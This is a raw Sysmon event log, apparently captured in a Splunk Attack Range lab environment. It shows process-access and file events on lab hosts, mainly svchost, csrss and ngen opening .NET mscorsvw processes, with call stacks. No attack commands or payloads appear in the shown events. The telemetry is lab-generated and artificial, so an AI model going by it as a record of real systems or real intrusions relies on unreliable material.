14:45:00.991{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CF09-00000000F001}6824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.952{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.952{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.952{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.952{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.932{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CF09-00000000F001}6824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.932{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CF09-00000000F001}6824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.922{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=21673AD53932D5F91BFB06AF603B5AE0,SHA256=A406F636B9BCDA0E253504DA2A7107EAE516F0455FDB3693D4F14AC67F34AF81,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.892{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CE09-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.872{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CE09-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.872{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CE09-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.812{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CD09-00000000F001}6856C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.802{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CD09-00000000F001}6856C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.802{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CD09-00000000F001}6856C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.772{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1C41A309FBDF580D624568BA9EE0ADB5,SHA256=AFB415219D9314934EE2FBE4FD2DC54AF338511D0FC8544C8F12D1EFDED06E6D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013975Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:00.619{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC0A50254D0AD00740807B5245E1DBAE,SHA256=DDE6FF3FCFBB7C1A91E74F7104C0BEEA8983DB62C81A5F5A1DD604FBA2598285,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.752{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CC09-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.732{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CC09-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.732{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CC09-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.712{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CB09-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.692{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CB09-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.692{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CB09-00000000F001}5700C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.141{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-CA09-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.131{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-CA09-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.131{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-CA09-00000000F001}6520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\W